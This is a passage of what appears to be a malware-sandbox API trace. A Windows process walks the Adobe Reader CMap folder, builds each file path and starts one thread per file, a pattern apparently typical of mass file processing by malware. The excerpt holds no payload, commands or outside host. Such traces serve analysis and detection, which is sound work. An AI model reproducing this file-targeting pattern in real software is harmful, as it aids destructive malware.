lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-H", cAlternateFileName="KSCPC-~1")) returned 1 [0169.709] wcscmp (_String1="KSCpc-EUC-H", _String2=".") returned 1 [0169.709] wcscmp (_String1="KSCpc-EUC-H", _String2="..") returned 1 [0169.709] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7b98 [0169.709] wcscpy (in: _Dest=0x8e7b98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.709] wcscat (in: _Dest=0x8e7b98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.709] wcscat (in: _Dest=0x8e7b98, _Source="KSCpc-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H" [0169.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934 [0169.710] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-UCS2", cAlternateFileName="KSCPC-~2")) returned 1 [0169.710] wcscmp (_String1="KSCpc-EUC-UCS2", _String2=".") returned 1 [0169.710] wcscmp (_String1="KSCpc-EUC-UCS2", _String2="..") returned 1 [0169.710] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c75e68 [0169.710] wcscpy (in: _Dest=0x12c75e68, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.710] wcscat (in: _Dest=0x12c75e68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.710] wcscat (in: _Dest=0x12c75e68, _Source="KSCpc-EUC-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2" [0169.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930 [0169.711] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26499, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-UCS2C", cAlternateFileName="KSCPC-~3")) returned 1 [0169.712] wcscmp (_String1="KSCpc-EUC-UCS2C", _String2=".") returned 1 [0169.712] wcscmp (_String1="KSCpc-EUC-UCS2C", _String2="..") returned 1 [0169.712] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x12c75dd0 [0169.712] wcscpy (in: _Dest=0x12c75dd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.712] wcscat (in: _Dest=0x12c75dd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.712] wcscat (in: _Dest=0x12c75dd0, _Source="KSCpc-EUC-UCS2C" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C" [0169.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c [0169.713] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25f07, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-90ms-RKSJ", cAlternateFileName="UCS2-9~1")) returned 1 [0169.713] wcscmp (_String1="UCS2-90ms-RKSJ", _String2=".") returned 1 [0169.713] wcscmp (_String1="UCS2-90ms-RKSJ", _String2="..") returned 1 [0169.713] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76458 [0169.713] wcscpy (in: _Dest=0x12c76458, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.713] wcscat (in: _Dest=0x12c76458, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.713] wcscat (in: _Dest=0x12c76458, _Source="UCS2-90ms-RKSJ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ" [0169.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928 [0169.714] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24373, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-90pv-RKSJ", cAlternateFileName="UCS2-9~2")) returned 1 [0169.714] wcscmp (_String1="UCS2-90pv-RKSJ", _String2=".") returned 1 [0169.714] wcscmp (_String1="UCS2-90pv-RKSJ", _String2="..") returned 1 [0169.714] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c763c0 [0169.714] wcscpy (in: _Dest=0x12c763c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.714] wcscat (in: _Dest=0x12c763c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.714] wcscat (in: _Dest=0x12c763c0, _Source="UCS2-90pv-RKSJ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ" [0169.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c763c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0169.716] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45903, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-B5pc", cAlternateFileName="UCS2-B~1")) returned 1 [0169.716] wcscmp (_String1="UCS2-B5pc", _String2=".") returned 1 [0169.716] wcscmp (_String1="UCS2-B5pc", _String2="..") returned 1 [0169.716] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6b48 [0169.716] wcscpy (in: _Dest=0x8e6b48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.716] wcscat (in: _Dest=0x8e6b48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.716] wcscat (in: _Dest=0x8e6b48, _Source="UCS2-B5pc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc" [0169.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0169.717] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49113, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-ETen-B5", cAlternateFileName="UCS2-E~1")) returned 1 [0169.717] wcscmp (_String1="UCS2-ETen-B5", _String2=".") returned 1 [0169.717] wcscmp (_String1="UCS2-ETen-B5", _String2="..") returned 1 [0169.717] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6bd8 [0169.717] wcscpy (in: _Dest=0x8e6bd8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.717] wcscat (in: _Dest=0x8e6bd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.717] wcscat (in: _Dest=0x8e6bd8, _Source="UCS2-ETen-B5" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5" [0169.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0169.718] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3b87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-GBK-EUC", cAlternateFileName="UCS2-G~1")) returned 1 [0169.718] wcscmp (_String1="UCS2-GBK-EUC", _String2=".") returned 1 [0169.718] wcscmp (_String1="UCS2-GBK-EUC", _String2="..") returned 1 [0169.718] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7328 [0169.718] wcscpy (in: _Dest=0x8e7328, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.718] wcscat (in: _Dest=0x8e7328, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.719] wcscat (in: _Dest=0x8e7328, _Source="UCS2-GBK-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC" [0169.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0169.720] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3022b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-GBpc-EUC", cAlternateFileName="UCS2-G~2")) returned 1 [0169.720] wcscmp (_String1="UCS2-GBpc-EUC", _String2=".") returned 1 [0169.720] wcscmp (_String1="UCS2-GBpc-EUC", _String2="..") returned 1 [0169.720] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c76030 [0169.720] wcscpy (in: _Dest=0x12c76030, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.720] wcscat (in: _Dest=0x12c76030, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.720] wcscat (in: _Dest=0x12c76030, _Source="UCS2-GBpc-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC" [0169.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914 [0169.721] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ff61, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-KSCms-UHC", cAlternateFileName="UCS2-K~2")) returned 1 [0169.721] wcscmp (_String1="UCS2-KSCms-UHC", _String2=".") returned 1 [0169.721] wcscmp (_String1="UCS2-KSCms-UHC", _String2="..") returned 1 [0169.721] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c760c8 [0169.721] wcscpy (in: _Dest=0x12c760c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.721] wcscat (in: _Dest=0x12c760c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.721] wcscat (in: _Dest=0x12c760c8, _Source="UCS2-KSCms-UHC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC" [0169.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c760c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0169.722] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25737, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-KSCpc-EUC", cAlternateFileName="UCS2-K~1")) returned 1 [0169.722] wcscmp (_String1="UCS2-KSCpc-EUC", _String2=".") returned 1 [0169.722] wcscmp (_String1="UCS2-KSCpc-EUC", _String2="..") returned 1 [0169.722] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c75f00 [0169.722] wcscpy (in: _Dest=0x12c75f00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.722] wcscat (in: _Dest=0x12c75f00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.722] wcscat (in: _Dest=0x12c75f00, _Source="UCS2-KSCpc-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC" [0169.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0169.723] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UCS2-H", cAlternateFileName="UNICNS~2")) returned 1 [0169.723] wcscmp (_String1="UniCNS-UCS2-H", _String2=".") returned 1 [0169.723] wcscmp (_String1="UniCNS-UCS2-H", _String2="..") returned 1 [0169.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c75f98 [0169.723] wcscpy (in: _Dest=0x12c75f98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.724] wcscat (in: _Dest=0x12c75f98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.724] wcscat (in: _Dest=0x12c75f98, _Source="UniCNS-UCS2-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H" [0169.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0170.155] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UCS2-V", cAlternateFileName="UNICNS~1")) returned 1 [0170.155] wcscmp (_String1="UniCNS-UCS2-V", _String2=".") returned 1 [0170.155] wcscmp (_String1="UniCNS-UCS2-V", _String2="..") returned 1 [0170.155] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c761f8 [0170.155] wcscpy (in: _Dest=0x12c761f8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0170.155] wcscat (in: _Dest=0x12c761f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0170.155] wcscat (in: _Dest=0x12c761f8, _Source="UniCNS-UCS2-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V" [0171.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c761f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0171.893] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x425e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UTF16-H", cAlternateFileName="UNICNS~4")) returned 1 [0171.893] wcscmp (_String1="UniCNS-UTF16-H", _String2=".") returned 1 [0171.894] wcscmp (_String1="UniCNS-UTF16-H", _String2="..") returned 1 [0171.894] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76750 [0171.894] wcscpy (in: _Dest=0x12c76750, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.894] wcscat (in: _Dest=0x12c76750, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.894] wcscat (in: _Dest=0x12c76750, _Source="UniCNS-UTF16-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H" [0171.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x141c [0171.895] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc33, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UTF16-V", cAlternateFileName="UNICNS~3")) returned 1 [0171.895] wcscmp (_String1="UniCNS-UTF16-V", _String2=".") returned 1 [0171.895] wcscmp (_String1="UniCNS-UTF16-V", _String2="..") returned 1 [0171.895] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76c10 [0171.895] wcscpy (in: _Dest=0x12c76c10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.895] wcscat (in: _Dest=0x12c76c10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.895] wcscat (in: _Dest=0x12c76c10, _Source="UniCNS-UTF16-V" | out: 